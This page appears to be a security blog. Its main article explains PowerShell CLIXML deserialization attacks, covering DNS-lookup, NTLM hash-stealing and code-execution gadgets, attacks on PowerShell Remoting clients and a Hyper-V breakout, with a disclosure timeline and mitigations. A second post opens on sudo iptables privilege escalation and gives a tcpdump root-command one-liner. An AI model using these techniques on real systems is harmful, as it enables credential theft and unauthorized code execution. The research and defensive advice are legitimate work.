Attacking PowerShell CLIXML Deserialization

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

In the video below we show a Hyper-V guest-to-host breakout scenario that is based on a CLIXML deserialization attack. After reading this article, you will understand how it works and what you need to do to ensure it does not affect your environment.Hyper-V breakout via CLIXML deserialization attack

PART 1 – HISTORY OF DESERIALIZATION ATTACKS

Serialization is the process of converting the state of a data object into an easily transmittable data format. In serialized form, the data can be saved in a database, sent over the network to another computer, saved to disk, or some other destination. The reverse process is called deserialization. During deserialization the data object is reconstructed from the serialized form.

CWE-502: Deserialization of Untrusted Data is a vulnerability class that occurs when an application deserializes data that can be controlled by an adversary.

This vulnerability class was first described in 2006 by Marc Schönefeld in Pentesting J2EE although it really became mainstream around 2015 after Frohoff and Lawrence published Marshalling Pickles and their tool YsoSerial. Muñoz and Mirosh later showed that deserialization attacks are also possible in .NET applications in Friday The 13th JSON Attacks. Although they do not target PowerShell deserialization explicitly, their research actually touched upon CLIXML, specifically in their PSObject gadget chain (PSObjectGenerator.cs). As of 2024, most languages and frameworks have been studied in the context of deserialization attacks including PHP, Python, and others.

What is a gadget chain? Essentially, a gadget chain is the serialized data that the threat actor provides to exploit the vulnerability. The gadget chain is crafted to trigger a chain of function calls that eventually leads to a security impact. For example, it may start with an implicit call to “destruct” on the object that the threat actor controls. Within that function, another function is called, and so on. If you are unfamiliar with the generic concepts of deserialization attacks, I recommend that you check out my previous article on PHP Laravel deserialization attacks: From S3 bucket to Laravel unserialize RCE – Truesec. There are also plenty of great resources online!

Afaik, the first time CLIXML deserialization attacks in a PowerShell context got proper attention was during the Exchange Server exploits. CLIXML deserialization was a key component of the ProxyNotShell exploit chain. Piotr Bazydło did a great job explaining how it works in Control Your Types of Get Pwned and he has continued researching the topic of Exchange PowerShell (see OffensiveCon24). This research has been an important source of inspiration for me. However, the key difference from what we will dive into here, is that ProxyNotShell and Bazydło’s research are limited to Exchange PowerShell. We will look into PowerShell in general.

PART 2 – INTRODUCTION TO CLIXML SERIALIZATION

PowerShell is a widely used scripting language available by default on all modern Windows computers. PowerShell CLIXML is the format used by PowerShell’s serialization engine PSSerializer.

The cmdlets Import-Clixml and Export-Clixml makes it easy to serialize and deserialize objects in PowerShell. The cmdlets are essentially wrappers for the underlying functions [PSSerializer]::Serialize() and [PSSerializer]::Deserialize().

Here’s an example of how it could be used:

# Create an example object and save it to example.xml
$myobject = "Hello World!"
$myobject | Export-Clixml .\example.xml

# Here we deserialize the data in example.xml into $deserialized. Note that this works even if example.xml was originally created on another computer.
$deserialized = Import-Clixml .\example.xml

The format of example.xml is, you guessed it, CLIXML. Below we see the contents of the file.

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<S>Hello World!</S>
</Objs>

CLIXML supports so called “primitive types” that can be declared with their respective tags. The table below shows a few examples.

Element	Type	Example
S	String	<S>Hello world</S>
I32	Signed Integer	<I32>1337</I32>
SBK	ScriptBlock	<SBK>get-process</SBK>
B	Boolean	<B>true</B>
BA	Byte array (base64 encoded)	<BA>AQIDBA==</BA>
Nil	NULL	<Nil />

Examples of known primitive types

CLIXML also supports what they call “complex types” which includes Lists, Stacks, and Objects. An Object uses the tag <Obj>. The example below is a serialized System.Drawing.Point object. You can see the type name System.Drawing.Point under TN and under Props the properties named IsEmpty, X and Y.

<Obj RefId="RefId-0">
    <TN RefId="RefId-0">
        <T>System.Drawing.Point</T>
        <T>System.ValueType</T>
        <T>System.Object</T>
    </TN>
    <Props>
        <B N="IsEmpty">false</B>
        <I32 N="X">12</I32>
        <I32 N="Y">34</I32>
    </Props>
</Obj>

That’s it for the quick introduction to CLIXML and should cover what you need to know to follow the rest of this article. If you want to learn more you can find the complete specification under MS-PSRP documentation here [MS-PSRP]: Serialization | Microsoft Learn.

PSSERIALIZER AND CLIXML DESERIALIZATION

PowerShell Core started as a fork of Windows PowerShell 5.1 and is open source (PowerShell). We use the public source code to gather an understanding of how the internals of the deserialization work.

We follow the code flow after calling the PSSerializer.Deserialize function and see that the serialized XML ends up being parsed, recursively looped, and every element is eventually passed to the ReadOneObject (serialization.cs) function, defined in the InternalSerializer class.

The ReadOneObject function determines how to handle the data, specifically how to deserialize it. The returned object will either be rehydrated or restored as a property bag.

Let’s explain these two terms with an example. First we create a System.Exception object, we check what type it is using the Get-Member cmdlet. We see that the type is System.Exception.

$object = new-object System.Exception
$object | Get-Member

Then we serialize System.Exception into CLIXML. We then deserialize the object and print the type information again. We see that after deserialization, it is no longer the same type.

$serialized = [System.Management.Automation.PSSerializer]::Serialize((new-object System.Exception))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member

The $deserialized object is of the type Deserialized.System.Exception. This is not the same as System.Exception. Classes with the Deserialized prefix are sometimes called property bags and you can think of them as a dictionary type. The property bag contains the public properties of the original object. Methods of the original class are not available through a property bag.

With rehydration on the other hand, you will get a “live object” of the original class. Let’s take a look at an example of this. You’ll notice in the example below, the $deserialized object is of the type Microsoft.Management.Infrastructure.CimInstance#ROOT/cimv2/Win32_BIOS, just like the original object. Because of this, we also have access to the original methods.

$serialized = [System.Management.Automation.PSSerializer]::Serialize((Get-CIMinstance Win32_BIOS))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member

USER-DEFINED TYPES

User-defined types are types that PowerShell module developers can define. However, PowerShell ships with a bunch of modules, so arguably we also have default user-defined types. User-defined types are specified in files name *.types.ps1xml and you can find the default ones under $PSHOME\types.ps1xml.

An example of the default types, is Deserialized.System.Net.IPAddress. Below we see the type definition in types.ps1xml.

<Type>
  <Name>Deserialized.System.Net.IPAddress</Name>
  <Members>
    <MemberSet>
      <Name>PSStandardMembers</Name>
      <Members>
        <NoteProperty>
          <Name>TargetTypeForDeserialization</Name>
          <Value>Microsoft.PowerShell.DeserializingTypeConverter</Value>
        </NoteProperty>
      </Members>
    </MemberSet>
  </Members>
</Type>

This type schema applies to the property bag Deserialized.System.Net.IPAddress and we see that they define a TargetTypeForDeserialization. The Microsoft.PowerShell.DeserializingTypeConverter is a class that inherits from System.Management.Automation.PSTypeConverter. In short, this definition says that the property bag should be rehydrated to the original System.Net.IPAddress object during deserialization.

On my system, I found that types.ps1xml contains 27 types that will be rehydrated. Note that this varies depending on what features and software you have installed on the computer. For example, a domain controller will by default have the Active Directory module installed.

SUMMARY OF WHAT WE LEARNED

In the PSSerializer deserialization, objects are either converted into a property bag or rehydrated to the original object. The object will be rehydrated if it is a:

Known primitive type (e.g. integers, strings)
CimInstance type
Type supported by the default DeserializingTypeConverter
User-defined type (that defines a DeserializingTypeConverter)

PART 3 – ATTACKING CLIXML DESERIALIZATION

In this section we will start looking into what could go wrong during the CLIXML deserialization. We will start with some less useful gadgets that are great for understanding how things work. Later, we will dive into the more useful gadgets.

SCRIPTBLOCK REHYDRATION

ScriptBlock (using the tag <SBK>) is a known primitive type. This type is special because even if it is technically a known primitive type (that should be rehydrated) it is not rehydrated to ScriptBlock but instead to String. There have been multiple issues created around this in the PowerShell GitHub repo and the PowerShell developers have stated that this is by design, due to security reasons.

https://github.com/PowerShell/PowerShell/issues/4218#issuecomment-314851921

https://github.com/PowerShell/PowerShell/issues/11698#issuecomment-801476936

Ok, fine – no rehydrated ScriptBlocks.

Remember that there are some default types that are rehydrated? There are three types that we found useful, namely:

LineBreakpoint
CommandBreakpoint
VariableBreakpoint

We find that if a ScriptBlock is contained within a Breakpoint, then it will actually rehydrate. Here’s the source code for the CommandBreakpoint rehydration, notice the call to RehydrateScriptBlock:

https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/serialization.cs#L7041

We can confirm this by running the following:

$object = Set-PSBreakpoint -Command nan -Action {calc} 
$serialized = [System.Management.Automation.PSSerializer]::Serialize($object)
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | gm
$deserialized.Action.Invoke()

Do you remember Microsoft’s answers in the Github issues I showed above, they said “we do not want to deserialize ScriptBlocks because there would be too many places with automatic code execution”. What did they mean with that?

I believe they refer to delay-bind arguments. There are lots of them in PowerShell.

# These two are obvious, and will of course pop calc, because you are explicitly invoking the action
& $deserialized.Action
Invoke-Command $deserialized.Action 

$example = “This can be any value” 

# But if you run this, you will also pop mspaint 
$example | ForEach-Object $deserialized.Action 

# and this will pop mspaint
$example | Select-Object $deserialized.Action

# And this
Get-Item .\out | Copy-Item -Destination $deserialized.Action

# And all of these
$example | Rename-Item -NewName $deserialized.Action
$example | Get-Date -Date $deserialized.Action 
$example | Group-Object $deserialized.Action
$example | Sort-Object $deserialized.Action 
$example | Write-Error -Message $deserialized.Action 
$example | Test-Path -Credential $deserialized.Action
$example | Test-Path -Path $deserialized.Action 
$example | Test-Connection -ComputerName $deserialized.Action 

# And way more

Even if this gadget isn’t very practical, as the victim must use the property name “action” to make it trigger, I believe it still shows that you cannot trust deserialized data.

ARBITRARY DNS LOOKUP

As we talked about previously, CimInstances will rehydrate by default. There are a few interesting CimInstance types that ship with a vanilla PowerShell installation.

The first one is Win32_PingStatus. The code we see below is from the Types.ps1xml file:

 <Type>
    <Name>System.Management.ManagementObject#root\cimv2\Win32_PingStatus</Name>
    <Members>
      <ScriptProperty>
        <Name>IPV4Address</Name>
        <GetScriptBlock>
          $iphost = [System.Net.Dns]::GetHostEntry($this.address)
          $iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } | select -first 1
        </GetScriptBlock>
      </ScriptProperty>
      <ScriptProperty>
        <Name>IPV6Address</Name>
        <GetScriptBlock>
          $iphost = [System.Net.Dns]::GetHostEntry($this.address)
          $iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetworkV6 } | select -first 1
        </GetScriptBlock>
      </ScriptProperty>
    </Members>
 </Type>

We see that IPV4Address is defined as a ScriptProperty that contains a call to GetHostEntry, which is a function that will trigger a DNS request. The argument to the function is the property Address.

In an insecure deserialization scenario, we can control this value and thus trigger arbitrary DNS requests from the victim’s machine. To try this out we need to first get a template for the payload, we do so by serializing a Win32_PingStatus object.

Get-CimInstance -ClassName Win32_PingStatus -Filter "Address='127.0.0.1' and timeout=1" | export-clixml .\payload.xml

We then open up payload.xml and change the Address property to a domain of our choosing.

CLIXML payload file, with manipulated Address property

We fire up Wireshark to observe the network traffic and then we deserialize the payload with Import-CliXml.

import-clixml .\payload.xml

Network traffic showing that the domain name lookup was triggered

Cool! We can trigger arbitrary DNS requests from an untrusted data deserialization. This gadget would be the “PowerShell version” of the Java URLDNS gadget.

What’s the security impact of a DNS request? Not much by itself. However, it is very useful when looking for security vulnerabilities with limited visibility of the target application. An adversary can set up a DNS request listener (such as Burp Collaborator) and then use this gadget as their payload. This way they can confirm that their payload got deserialized by the target application.

AVAILABILITY AND FORMATTING

Let’s take a look at another gadget that isn’t that very useful but is interesting because we will learn more about how these CLIXML gadgets work. Let’s look at MSFT_SmbShare. This type will call the cmdlet Get-Acl with the property Path as argument.

<Type>
        <Name>Microsoft.Management.Infrastructure.CimInstance#ROOT/Microsoft/Windows/SMB/MSFT_SmbShare</Name>
        <Members>
            <ScriptProperty>
                <Name>PresetPathAcl</Name>
                <GetScriptBlock>
                    $acl = Get-Acl ($this.PSBase.CimInstanceProperties['Path'].Value)
                    $acl.SetSecurityDescriptorSddlForm( $this.PSBase.CimInstanceProperties['SecurityDescriptor'].Value, [System.Security.AccessControl.AccessControlSections]::Access )

// Shortened for brevity

We can of course control the value of this property and set it to any value. If a UNC path is provided, Get-Acl will attempt to authenticate, and thus send the victim’s Net-NTLMv2 hash to the remote host we specify.

We generate a payload and set the Path property, similarly to how we did it with Win32_PingStatus. However, we notice that it does not trigger.

Why? Well, this module (SmbShare) is included by default in PowerShell, but it is not loaded automatically on startup. In PowerShell, modules are either loaded explicitly with Import-Module <modulename> or implictly once the module is “touched”. Implicit load triggers when a cmdlet of the module is used (for example Get-SmbShare in this case), or when you use Get-Help or Get-Command.

In other words, we need to run:

Get-SmbShare
Import-CliXml .\payload.xml

But it still doesn’t work!

The second issue is that the property we try to abuse is PresetPathAcl, but this is not included in the “default view”. In PowerShell, Format.ps1xml files can be used to define how objects should be displayed (see about_Format.ps1xml – PowerShell | Microsoft Learn). The format files are used to declare which properties should be printed in list view, table view, and so on.

In other words, our gadget will only trigger when the PresetPathAcl is explicitly accessed, or implicitly when all properties are accessed. Below we see a few examples of when it will trigger.

$deserialized | Export-CliXml .\save.xml
$deserialized | Export-Csv .\save.csv
$deserialized | Select-Object *
$deserialized | Format-Table *
$deserialized | ConvertTo-Csv
$deserialized | ConvertTo-Json
$deserialized | ConvertTo-Html

So, finally, we spin up an MSF listener to capture the hash. We load the module, deserialize the data, and finally select all properties with export-csv.

Get-SmbShare
$deserialized = Import-CliXml .\payload.xml 
$deserialized | export-csv .\test.csv

ABITRARY PROVIDER QUERY / HASH STEALER

Now let’s look at the Microsoft.Win32.RegistryKey type. It defines an interesting ViewDefinition in its format.xml file. We see when printed as a list (the default output format), it will perform a Get-ItemProperty call with the member PSPath as its LiteralPath argument.

Like we already learned, we can control the value of properties. Thus, we can set PSPath to any value we desire. To create the a payload template, we serialize the result of a Get-Item <regpath> call, then we change the property to point to our malicious SMB server.

Now, this is more fun, because the type is available by default and the property is accessed by default. All that’s the victim need to do to trigger the gadget is:

import-clixml payload.xml

… and ta-da!

REMOTE CODE EXECUTION

So far, we looked at how to exploit deserialization when you only have the default modules available. However, PowerShell has a large ecosystem of modules. Most of these third-party modules are hosted on PowerShell Gallery.

PSFramework is a PowerShell module with close to 5 million downloads on PowerShell Gallery. On top of this, there are many modules that are dependent on this module. A few notable examples are the Microsoft official modules Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, and Microsoft/PAWTools.

PSFramework module implements user-defined types with a custom converter. If we look at the PSFramework.Message.LogEntry type as an example, we see that it reminds us of the default type IPAddress that we looked at before. The key difference is that it specifies PSFramework.Serialization.SerializationTypeConverter as its type converter.

<Type>
    <Name>Deserialized.PSFramework.Message.LogEntry</Name>
    <Members>
      <MemberSet>
        <Name>PSStandardMembers</Name>
        <Members>
          <NoteProperty>
            <Name>
              TargetTypeForDeserialization
            </Name>
            <Value>
              PSFramework.Message.LogEntry
            </Value>
          </NoteProperty>
        </Members>
      </MemberSet>
    </Members>
</Type>
<Type>
    <Name>PSFramework.Message.LogEntry</Name>
    <Members>
      <CodeProperty IsHidden="true">
        <Name>SerializationData</Name>
        <GetCodeReference>
          <TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
          <MethodName>GetSerializationData</MethodName>
        </GetCodeReference>
      </CodeProperty>
    </Members>
    <TypeConverter>
      <TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
    </TypeConverter>
</Type>

Looking at SerializationTypeConverter.cs, we see that the type converter is essentially a wrapper on BinaryFormatter. This is one of the formatters analyzed by Munoz et al and it is known to be vulnerable to arbitrary code execution.

https://github.com/PowershellFrameworkCollective/psframework/

The vulnerability is in fact very similar to the vulnerable Exchange converter that was abused in ProxyNotShell. As you may remember, user-defined types are rehydrated using LanguagePrimitives.ConvertTo. The combination of this and a BinaryFormatter is all we need. From Munoz et. al, we also learned that you can achieve code execution if you can control the object and the type passed to LanguagePrimitives.ConvertTo. This is done by passing the XamlReader type and implicitly calling the static method Parse(string). The complete details of this can be found in Bazydło’s NotProxyShell article.

In other words, we can achieve remote code execution if the victim has PSFramework available, or any of the hundreds of modules that are dependent on it.

We can trigger the exploit by running the below:

Write-PSFMessage "Hello World!"
Import-CliXml .\payload.xml

This is by the way the gadget we used to breakout from Hyper-V and get code execution on the hypervisor host in the video above. But more on that later.

SUMMARY OF WHAT WE LEARNED

I believe it is fair to say that CLIXML deserialization of untrusted data is dangerous. The impact will vary depending on a variety of factors, including what modules you have available and how you use the resulting object. Note that, so far, we only talked about this issue in a local context. We will soon see that a threat actor can perform these attacks remotely. Here is a summary what could happen when you deserialize untrusted data in PowerShell:

On a fully patched, vanilla PowerShell we can achieve:

Arbitrary DNS lookup
Arbitrary Code Execution (if the property “action” is used)
Steal Net-NTLMv2 hashes

Unpatched system (we haven’t really detailed these two because they are old and not that relevant anymore):

XXE (< .NET 4.5.2)
Arbitrary Code Execution (CVE-2017-8565)

On a system with non-default modules installed:

Arbitrary Code Execution (affects hundreds of modules, including three official Microsoft modules)
Multiple other impacts

PART 4 – CLIXML DESERIALIZATION ATTACK VECTORS

You might think “I do not use Import-Clixml so this is not a problem for me”. This section will show why this is not entirely true. The reason you need to care is that some very popular protocols rely on it, and you might use CLIXML deserialization without knowing it!

ATTACKING POWERSHELL REMOTING

PowerShell Remoting Protocol (PSRP) is a protocol for managing Windows computers in an enterprise environment. PSRP is an addon on top of the SOAP web service protocol WS-Management (WSMAN). Microsoft’s implementation of WSMAN is called WinRM. PSRP adds a bunch of things on top of WinRM including message fragmentation, compression, and how to share PowerShell objects between the PSRP client and server. You guessed it – PowerShell objects are shared using CLIXML.

In this attack scenario, the server is not the victim. Instead we will show how an compromised server could launch a CLIXML deserialization attack against a PSRP client. This is a very interesting scenario because PowerShell Remoting is often used by administrators to connect to potentially compromised systems and systems in a lower security tier.

The Invoke-Command cmdlet is an example of cmdlets that is implemented with PSRP:

$me = Invoke-Command -ComputerName dc01.dev.local -ScriptBlock { whoami }

The command “whoami” will be executed on the remote server and $me will be populated with the result of the remote command within the client session. This is a powerful feature that works because CLIXML serialization is used by both the PSRP server and client to pass objects back and forth.

The problem however, is that the PSRP client will deserialize any CLIXML returned from the PSRP server. So if the threat actor has compromised the server, they could return malicious data (e.g. one of the gadget chains I presented above) and thus compromise the connecting client.

Encryption, certificates, kerberos, two-way-authentication and whatever other security mechanisms that PSRP uses are all great. However, they will do nothing to prevent this attack, where the premise is that the server is already compromised.

We implement this attack by compiling a custom PowerShell, based on the open source version. The only thing we need to is to change the SerializeToBytes function and make it return serialized data of our choosing. You also need some logic to not break the protocol, but we will not detail that here.

As a proof-of-concept we return a string (using the <S> tags).

Custom stream writer added to fragmentor.cs

Now, to make PowerShell Remoting server use our custom PowerShell, we need to build pwrshplugin.dll and update the microsoft.powershell plugin for WSMan, and make it to point to our custom PowerShell version.

Microsoft.PowerShell plugin pointing to our custom PowerShell

Finally, we try it out by running an example command over PSRP against the compromised server. We see that not only is our string returned, but the client has deserialized our arbitrary data (the <S> tags are gone).

Exploit was triggered on client when using PowerShell Remoting against the compromised server

As we described previously, the impact of this (a deserialization of untrusted data) will vary depending on what gadget the victim have available in their local PowerShell session and how they use the result object.

In the video below, we show an example of how a compromised server (in this case WEB19.dev.local) could be configured to deliver the hash stealer gadget. When an unsuspecting domain admin runs invoke-command against the compromised server, the threat actor steals their Net-NTLMv2 hash.PowerShell Remoting CLIXML deserialization attack

This is of course just one of the examples. If you have other gadgets available, you might end up with a remote code execution. In the recommendations section we will discuss what you need to do to mimize the impact.

BREAKING OUT OF HYPER-V (VIA POWERSHELL DIRECT)

PowerShell Direct is a feature to run PowerShell commands in a virtual machine from the underlying Hyper-V host, regardless of network configuration or remote management settings. Both the guest and the host must run at least Windows 10 or Windows Server 2016.

PowerShell Direct is the PSRP protocol, but with VMBUS for transfer (as opposed to TCP/IP). This means that the same attack scenario applies to Hyper-V. This is particularly interesting since the server (the VM) can attack the client (the Hyper-V host), potentially leading to a VM-breakout scenario when PowerShell Direct is used. Note that for example a backup solution could be configured to use PowerShell Direct, thus generating reocurring opportunity for threat actors to abuse PowerShell Direct calls.

PowerShell Direct can be hijacked with a search order hijack. If we put our malicious “powershell.exe” under C:\Windows, it will take precedence over the legitimate PowerShell. In other words, we will build a custom PowerShell just as we did in the PSRP scenario and use it to hijack the PowerShell Direct channel.

This technique is what you saw in the demo video in the beginning of this article. The remote code execution we showed abuses the PSFramework gadget. Prior to recording the video, we installed a Microsoft official PowerShell module (which relies on PSFramework). Other than this, everything is in the default configuration. Note that all other gadgets we have presented would have worked too.

The C2 connection seen in the video was established using a custom-built reverse PowerShell Direct channel. We have decided to not share the C2 code or the gadget chain publicly.

PART 5 – DISCLOSURE TIMELINE

Time	Who	Description
2024-03-18 23:57	Alex to MSRC	Reported findings with working PoCs to Microsoft (MSRC)
2024-03-21 17:33	MSRC	Case opened
2024-04-15 19:03	MSRC to Alex	“We confirmed the behavior you reported”
2024-05-06 17:53	Alex to MSRC	Asked for status update
2024-05-07 21:09	MSRC	Closed the case
2024-05-26 23:33	Alex to MSRC	Asked for resolution details
2024-05-30	Alex	Started escalating via contacts at MS and MVP friends
2024-06-04	Microsoft to Alex	Asked for a copy of my SEC-T presentation
2024-06-04	Alex to Microsoft	Sent my SEC-T presentation
2024-06-26 15:55	MSRC	Opened the case
2024-07-22 23:02	MSRC to Alex	“Thank you[…] The issue has been fixed.”
2024-07-22 23:04	MSRC	Closed the case
2024-07-22	Alex to MSRC	Offered to help validate the fix and for resolution details.
2024-08-14	Alex to Microsoft	Sent reminder asking if they want to give feedback on the presentation
2024-08-19	Alex to PSFramework	Started reachout to PSFramework.
2024-08-28	PSFramework	First contact.
2024-08-29	MSRC	Public acknowledgment.
2024-09-13	Alex	Presented at SEC-T.
2024-09-14	Alex	Published blog post.

Response from MSRC saying they have fixed the issue.

To me, it is still unclear what MSRC means with “The issue has been fixed” as they have not shared any resolution details. While it is obvious that PSRP and PSDirect still deserializes untrusted data, it appears that they also did not fix the remote code execution (due to PSFramework dependency) in Microsoft’s own PowerShell modules, although they are covered under MSRC according to their security.md files (Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, PAWTools).

On 2024-08-19 I decided to contact the Microsoft employee behind PSFramework myself. He instantly understood the issue and did a great job quickly resolving it (big kudos as he did it during his vacation!). Make sure to update to v1.12.345 in case you have PSFramework installed.

This research was publicly released 2024-09-14, which is 180 days after the initial private disclosure.

PART 6 – MITIGATIONS AND RECOMMENDATIONS

SECURE POWERSHELL DEVELOPMENT

When developing PowerShell Modules, it is important to keep deserialization attacks in mind – even if your module is not deserializing untrusted data. In fact, this could be an issue even if your module doesn’t perform any deserialzation at all.

It is particularily important if your module defines user-define types, converters, and formats. When you introduce new user-defined types to your end-users systems, it will extend the attack surface on their system. If you’re unlucky, your module could introduce a new gadget chain that can be abused when the end-user uses PowerShell Remoting, PowerShell Direct, or when they use any script or module that performs deserialization of untrusted data.

1. SECURING YOUR USER-DEFINED TYPES

Be careful with types.ps1xml declarations. Keep in mind that the threat actor can control most of the object properties during deserialization.
Be careful with format.ps1xml declarations. Keep in mind that the object could be maliciously crafted, thus, the threat actor could control most of the object properties.
Be careful when you implement type converters. There are plenty of good reading online on how to write secure deserialization. Here is a good starting point: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp

2. AVOID THE PROPERTY NAME ‘ACTION’
The property name action is dangerous and should be avoided. Using a property of the name action could lead to critical vulnerabilities in the most unexpected ways. For example, the following code is vulnerable to arbitrary code execution:

$obj = Import-Clixml .\untrusted.xml
$example = @("Hello","World!") # this can be any value
$example | Select-Object $deserialized.Action

RECOMMENDATIONS FOR IT OPS

PSRP is still a recommended method for managing your environment. You should not go back to RDP (Remote Desktop Protocol) or similar for lots of reasons. However, before using PSRP or PSDirect, there are a few things you need to keep in mind.

First off, you should ensure that the computer you are remoting from is fully patched. This will solve some of the problems, but not all.

Secondly, you should never use remoting from a computer that is littered with third-party PowerShell modules. In other words, you probably shouldn’t remote from your all-in-one admin PC. Use a privileged access workstation that is dedicated for admin tasks.

Thirdly, before you use remoting, follow thru with the following points:

1. REVIEW YOUR POWERSHELL MODULES
Check the modules loaded on startup by starting a fresh PowerShell prompt and run:

get-module

Note however that modules will be implicitly loaded as soon as you use one of their cmdlets. So you should also check the available modules on your system.

get-module -ListAvailable

2. REDUCE YOUR POWERSHELL MODULES
When you install a PowerShell module, it may introduce a new deserialization gadget on your system and your system will be exposed as soon as you use PSRP, PSDirect, or use any script that imports untrusted CLIXML.

Being restrictive with PowerShell modules is good practice in general, as third-party modules comes with other risks as well (e.g. supply chain attacks).

This is however not as easy as it may sound. Lots of software ships with their own set of PowerShell modules that will be installed on your system. You need to ensure that these don’t introduce gadgets.

3. MANUAL GADGET MITIGATION
As long as PSRP and PSDirect still relies on (untrusted) CLIXML deserialization, there will be a constant battle to find and defuse deserialization gadgets.

As an example, the “SMB stealing gadget” can be mitigated with a simple if statement. Find the following code in C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml:

<ScriptBlock>
$result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
$result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
if($result.Length -eq 5000) { $result += "..." }
$result
</ScriptBlock>

Then add validation that ensures the PSPath property is legitimate. The updated formatter could look something like this:

<ScriptBlock>
$result = ""
if($_.PSPath.startswith("Microsoft.PowerShell.Core\Registry")){
   $result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
   $result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
   if($result.Length -eq 5000) { $result += "..." }
}
$result
</ScriptBlock>

A Journey From sudo iptables To Local Privilege Escalation

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

TL;DR

A low-privileged user on a Linux machine can obtain the root privileges if:

They can execute iptables and iptables-save with sudo as they can inject a fake /etc/passwd entry in the comment of an iptables rule and then abusing iptables-save to overwrite the legitimate /etc/passwd file.
They can execute iptables with sudo and the underlying system misses one of the kernel modules loaded by iptables. In this case they can use the --modprobe argument to run an arbitrary command.

Intro

If you’ve ever played with boot2root CTFs (like Hack The Box), worked as a penetration tester, or just broke the law by infiltrating random machines (NO, DON’T DO THAT), chances are good that you found yourself with a low-privileged shell – www-data, I’m looking at you – on a Linux machine.

Now, while shells are great and we all need to be grateful when they shine upon us, a low-privileged user typically has a limited power over the system. The path ahead becomes clear: we need to escalate our privileges to root.

When walking the path of the Privilege Escalation, a hacker has a number of tricks at their disposal; one of them is using sudo.

superuser do…substitute user do…just call me sudo

As the reader might already know well, the sudo command can be used to run a command with the permissions of another user – which is commonly root.

Ok, but what’s the point? If you can sudo <command> already, privilege escalation is complete!

Well, yes, but actually, no. In fact, there are two scenarios (at least, two that come to mind right now) where we can’t simply leverage sudo to run arbitrary commands:

Running sudo requires the password of the user, and even though we have a shell, we don’t know the password. This is quite common, as the initial access to the box happens via an exploit rather than regular authentication.
We may know the password for sudo, but the commands that the user can run with sudo are restricted.

In the first case, there’s only one way to leverage sudo for privilege escalation, and that is NOPASSWD commands. These are commands that can be launched with sudo by the user without a password prompt. Quoting from man sudoers:

NOPASSWD and PASSWD

By default, sudo requires that a user authenticate him or herself before running a command. This behavior can be modified via the NOPASSWD tag. Like a Runas_Spec, the NOPASSWD tag sets a default for the commands that follow it in the Cmnd_Spec_List. Conversely, the PASSWD tag can be used to reverse things. For example:

ray rushmore = NOPASSWD: /bin/kill, /bin/ls, /usr/bin/lprm would allow the user ray to run /bin/kill, /bin/ls, and /usr/bin/lprm as root on the machine rushmore without authenticating himself.

The second case is a bit different: in that scenario, even though we know the password, there will be only a limited subset of commands (and possibly arguments) that can be launched with sudo. Again, the way this works you can learn by looking at man sudoers, asking ChatGPT or wrecking your system by experimenting.

In both cases, there is a quick way to check what are the “rules” enabled for your user, and that is running sudo -l on your shell, which will help answering the important question: CAN I HAZ SUDO?

$ sudo run-privesc

Now, back to the topic of privilege escalation. The bad news is that, when sudo is restricted, we cannot run arbitrary commands, thus the need for some more ingredients to obtain a complete privilege escalation. How? This is the good news: we can leverage side-effects of allowed commands. In fact, Linux utilities, more often than not, support a plethora of flags and options to customize their flow. By using and chaining these options in creative ways, even a simple text editor can be used as a trampoline to obtain arbitrary execution!

For a simple use case, let’s consider the well-known tcpdump command, used to listen, filter and display network packets traveling through the system. Administrators will oftentimes grant low-privileged users the capability to dump traffic on the machine for debugging purposes, so it’s perfectly common to find an entry like this when running sudo -l:

`1`	`(ALL) NOPASSWD: /usr/bin/tcpdump`

Little do they know about the power of UNIX utilities! In fact, tcpdump automagically supports log rotation, alongside a convenient -z flag to supply a postrotate-command that is executed after every rotation. Therefore, it is possible to leverage sudo coupled with tcpdump to execute arbitrary commands as root by running the following sequence of commands:

1 2 3 4 5 COMMAND='id' # just replace 'id' with your evil command TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF

The good folks at GTFOBins maintain a curated list of these magic tricks (including the one just shown about tcpdump), so please bookmark it and make sure to look it up on your Linux privilege escalation quests!

Starting Line 🚦

Recently, during a penetration test, we were looking for a way to escalate our privileges on a Linux-based device. What we had was a shell for a (very) low-privileged user, and the capability to run a certain set of commands as sudo. Among these, two trusted companions for every network engineer: iptables and iptables-save.

Sure there must be an entry for one of these two guys in GTFOBins, or so we thought … which lead in going once more for the extra mile™.

Pepperidge Farm Remembers

Back in the 2017 we organized an in-person CTF in Turin partnering with the PoliTO University, JEToP, and KPMG.

The CTF was based on a set of boot2root boxes where the typical entry point was a web-based vulnerability, followed by a local privilege escalation. One of the privilege escalations scenarios we created was exactly related to iptables.

The technique needed to root the box has been documented in a CTF writeup and used to root a PAX payment device.

Modeprobing Our Way To Root

iptables has a --modprobe, which purpose we can see from its man page:

--modprobe=command
When adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).

Sounds like an interesting way for to run an arbitrary command, doesn’t it?

By inspecting the iptables source code we can see that if the --modprobe flag has been specifies, then the int xtables_load_ko(const char *modprobe, bool quiet) function is called with as first parameter the modprobe command specified by the user.

